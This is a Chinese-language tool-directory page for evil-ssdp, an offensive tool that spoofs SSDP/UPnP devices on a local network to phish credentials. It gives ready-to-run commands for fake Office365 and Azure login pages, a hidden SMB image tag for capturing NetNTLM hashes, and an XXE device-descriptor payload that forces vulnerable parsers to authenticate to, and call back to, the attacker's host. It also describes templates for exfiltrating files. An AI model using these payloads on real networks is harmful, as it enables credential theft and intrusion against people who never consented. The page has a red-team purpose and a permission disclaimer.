Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
evil-ssdp — 伪造SSDP响应并创建虚假的UPnP设备,以钓鱼获取凭证和NetNTLM挑战/响应。 | Kitploit
工具/GitHubGitHub/initstring/evil-ssdp
漏洞分析漏洞利用IDS/IPS规避冒充工具钓鱼攻击网络安全渗透测试社会工程学红队
GitHubinitstring/evil-ssdp

evil-ssdp

伪造SSDP响应并创建虚假的UPnP设备,以钓鱼获取凭证和NetNTLM挑战/响应。

查看仓库
44110042年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

概述

该工具响应SSDP多播发现请求,伪装成通用UPNP设备。您伪造的设备将神奇地出现在本地网络机器的Windows资源管理器中。被引诱打开设备的用户将看到一个可配置的钓鱼页面。该页面可以通过SMB加载隐藏图像,使您能够捕获或中继NetNTLM挑战/响应。

还提供了模板,用于通过基本身份验证和登录表单捕获明文凭据,且创建自定义模板快速简单。

它不需要现有凭据即可执行,甚至可以在通过禁用NETBIOS和LLMNR来防御Responder攻击的网络上工作。任何使用SSDP/UPNP的操作系统或应用程序都可能成为目标,但当前大部分武器化主要针对Windows 10。

视频:钓鱼概述

此外,该工具还可以检测并利用使用SSDP/UPNP的应用程序中XML解析引擎的潜在零日漏洞。如果发现易受攻击的设备,它会在UI中警告您,然后通过XML外部实体(XXE)攻击,无需用户交互即可挂载您的SMB共享或窃取数据。

视频:零日漏洞概述

使用方法

最基本的运行方式如下:

root@kitploit:~
evil_ssdp.py eth0

至少需要提供网络接口。该接口既用于UDP SSDP交互,也用于托管XML文件和钓鱼页面的Web服务器。

该工具将使用您提供的接口IP自动更新钓鱼页面中的IMG标签。要使用挑战/响应,您需要在该接口上启动SMB服务器(如Impacket)。该地址可通过-s选项自定义。

一些示例场景:

root@kitploit:~
# Use wlan0 for device advertisement and phishing, capturing NetNTLM and
# asking for clear-text via a spoofed Office365 logon form. Redirect to
# Microsoft aftering capturing credentials:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'

# Same as above, but assuming your SMB server is running on another IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
    -s 192.168.1.205

# Prompt for creds using basic auth and redirect to Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
    'https://azure.microsoft.com/auth/signin/' -b

# Hope for an XXE vul to capture NetNTLM while Impacket/Responder is running
on wlan0:
evil_ssdp.py wlan0 -t xxe-smb

完整用法详情:

root@kitploit:~
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
                    [-u URL]
                    interface

positional arguments:
  interface             Network interface to listen on.

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  Port for HTTP server. Defaults to 8888.
  -t TEMPLATE, --template TEMPLATE
                        Name of a folder in the templates directory. Defaults
                        to "office365". This will determine xml and phishing
                        pages used.
  -s SMB, --smb SMB     IP address of your SMB server. Defalts to the primary
                        address of the "interface" provided.
  -b, --basic           Enable base64 authentication for templates and write
                        credentials to log file.
  -r REALM, --realm REALM
                        Realm when prompting target for authentication via
                        Basic Auth.
  -u URL, --url URL     Redirect to this URL. Works with templates that do a
                        POST for logon forms and with templates that include
                        the custom redirect JavaScript (see README for more
                        info).[example: -r https://google.com]
  -a, --analyze         Run in analyze mode. Will NOT respond to any SSDP
                        queries, but will still enable and run the web server
                        for testing.

模板

该工具附带以下模板。如果您有良好的设计技能,请贡献您自己的模板!

  • office365: 将在Windows资源管理器中显示为"Office365 Backups"。钓鱼页面看起来像Office365登录页面,将通过POST方式将凭据发送给您。这些将在UI中标出并记录在日志文件中。建议使用-u https://www.office.com选项,以便在窃取凭据后将用户重定向到合法网站。开发者:pentestgeek。
  • scanner: 将在Windows资源管理器中显示为"Corporate Scanner [3 NEW SCANS WAITING]"(企业扫描仪 [3个新扫描待处理])。双击将打开一个外观通用的登录页面。此模板最好根据特定目标进行定制。模板大部分复制自此模板。
  • microsoft-azure: 将在Windows资源管理器中显示为"Microsoft Azure Storage"。着陆页面是禁用Cookie时的Windows Live登录页面。建议使用-u选项将用户重定向到真实登录页面。开发者:Dwight Hohnstein。
  • bitcoin: 将在Windows资源管理器中显示为"Bitcoin Wallet"。钓鱼页面只是一组随机的比特币私钥/公钥/地址信息。这些账户中没有实际资金。
  • password-vault: 将在Windows资源管理器中显示为"IT Password Vault"。钓鱼页面包含一小组虚假密码/SSH密钥等。
  • xxe-smb: 可能不会在Windows资源管理器中显示。用于发现XML解析器中的零日漏洞。命中时将在UI中触发"XXE - VULN"警报,并尝试强制客户端向SMB服务器进行身份验证,无需任何交互。
  • xxe-exfil: 另一个搜索XXE漏洞的示例,但这次尝试从Windows主机窃取测试文件。当然,您可以自定义它来查找您想要的任何特定文件,无论是Windows还是Linux。在我发现的易受攻击的应用程序中,只有不包含空格或换行符的文件才能成功窃取。这是因为文件被注入到GET请求的URL中。如果您在多行文件上实现了这一点,请务必告诉我您是如何做到的。

创建自己的模板很简单。只需复制现有模板的文件夹并编辑以下文件:

  • device.xml: 在此文件中定义设备在Windows资源管理器中的外观。
  • present.html: 这是用户打开恶意设备时显示的钓鱼页面。您可以在此处创建任何内容。请注意,Python的字符串模板会解析此文件,因此在使用$的任何位置需要用$$来转义模板引擎。
  • service.xml: 尚未实现。未来可能需要用于更复杂的UPNP欺骗。

在您的钓鱼页面(present.html)中,使用如下变量以获得额外功能:

root@kitploit:~
# The following line will initiate a NetNTLM challenge/response using the IP
# address of either the interface you provide or an optionally specified IP
# address:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />

# The following will leverage optionally specified URL redirection. This is
# handy when used with basic authentication to redirect to a valid site. This
# line is built in to the microsoft-azure template:
    <script>
	    var url = "$redirectUrl";
    	    if (url != "") {
	    	document.location = url;
	    }
    </script>


# If using an HTTP form to capture clear-text credentials, use code like the
# following. Also any template doing a POST request will automatically
# support the '-u' parameter to redirect after the POST completes.  The tool
# will monitor POSTs to this URL for credentials:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">

该工具目前仅为UPNP“Basic”设备类型正确创建设备,尽管它会响应所有设备类型的SSDP查询。如果您熟悉UPNP,也可以使用正确的参数创建新模板以满足其他设备类型的请求。在利用特定应用程序及其期望和使用UPNP设备的方式方面,这里仍有很多待探索之处。

技术细节

简单服务发现协议(SSDP)被操作系统(Windows、macOS、Linux、iOS、Android等)和应用程序(Spotify、YouTube等)用于发现本地网络上的共享设备。它是发现和通告通用即插即用(UPNP)设备的基础。

试图发现共享网络资源的设备会向239.255.255.250:1900发送UDP多播。源端口是随机化的。示例请求如下:

root@kitploit:~
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3

要与该主机交互,我们需要捕获源端口和'ST'(服务类型)头。响应必须发送到正确的源端口,并且应该包含正确的ST头。请注意,不仅仅是Windows操作系统在搜寻设备——扫描典型网络会看到来自操作系统内应用程序(如Spotify)、移动电话和其他媒体设备的大量请求。Windows只有在你使用正确的ST进行回复时才会配合,其他来源则更宽松。

evil_ssdp会提取请求的ST并发送如下响应:

root@kitploit:~
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

头部(特别是LOCATION、01-NLS、ST和USN)是动态构建的。这告诉请求者在哪里可以找到关于我们设备的更多信息。这里,我们强制Windows(和其他请求者)访问并解析我们的“设备描述符”XML文件。USN只是一个随机字符串,只需要唯一且格式正确。

evil_ssdp会从选定的模板文件夹中读取device.xml文件,并动态插入一些变量,例如您的IP地址。这个“设备描述符”文件是您可以自定义一些听起来诱人的友好名称和描述的地方。它看起来像这样:

root@kitploit:~
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <URLBase>http://$local_ip:$local_port</URLBase>
  <device>
    <presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
    <deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
    <friendlyName>Office365 Backups</friendlyName>
    <modelDescription>Secure Storage for Office365</modelDescription>
    <manufacturer>MS Office</manufacturer>
    <modelName>Office 365 Backups</modelName>
    <UDN>$session_usn</UDN>
    <serviceList>
      <service>
        <serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
        <serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
        <controlURL>/ssdp/service-desc.xml</controlURL>
        <eventSubURL>/ssdp/service-desc.xml</eventSubURL>
        <SCPDURL>/ssdp/service-desc.xml</SCPDURL>
      </service>
    </serviceList>

  </device>
</root>

该文件中的关键行包含“Presentation URL”。如果用户决定手动双击UPNP设备,该URL将加载到用户的浏览器中。evil_ssdp会自动托管此文件(来自所选模板文件夹的present.html),将您的源IP地址插入IMG标签中,以便访问您可以使用Impacket、Responder或Metasploit等工具托管的SMB共享。

IMG标签如下所示:

root@kitploit:~
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>

零日漏洞狩猎

默认情况下,该工具实质上是强制网络上的设备解析一个XML文件。针对解析XML的应用程序存在一种众所周知的攻击——XML外部实体处理(XXE)。

这种针对UPNP设备的攻击很可能被忽视——仅仅因为攻击方法复杂且不易察觉。然而,evil_ssdp使得在您的网络上测试易受攻击的设备变得非常容易。只需运行工具,并在输出中查找醒目的[XXE VULN!!!]即可。注意:使用xxe模板通常不会在局域网中产生可见的恶意设备,它仅用于零交互场景。

这是通过提供包含以下内容的设备描述符XML文件来实现的:

root@kitploit:~
<?xml version="1.0"?>
<!DOCTYPE data [ 
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>

当易受攻击的XML解析器读取此文件时,它将自动挂载SMB共享(允许您破解哈希或进行中继),并访问一个HTTP URL以通知您已被发现。通知将包含HTTP头部和IP地址,这应该能让您获得关于易受攻击应用程序的一些信息。如果您看到此情况,请务必联系供应商修复问题。此外,我非常希望能了解您使用本工具发现的任何零日漏洞。也请在您的CVE中提及本工具。

致谢

  • 感谢ZeWarren及其项目此处。我大量参考了该项目,了解了SSDP的基础工作原理。
  • 感谢pentestgeek及其钓鱼模板此处。我使用了其中的Office365登录页面。
  • 感谢Dwight Hohnstein在evil_ssdp中实现诸如基本身份验证、领域支持和自动重定向等酷炫功能所做的出色工作。他友好地编写并提供了代码来实现这些功能。
  • 感谢以下提交错误修复的朋友:
    • Nadar, Ender Akbas, bubbleguuum

同时也感谢微软开发了许多有趣的不安全的东西供我们玩耍。

这是一款安全研究工具。仅在获得网络所有者明确许可的情况下使用。

下载工具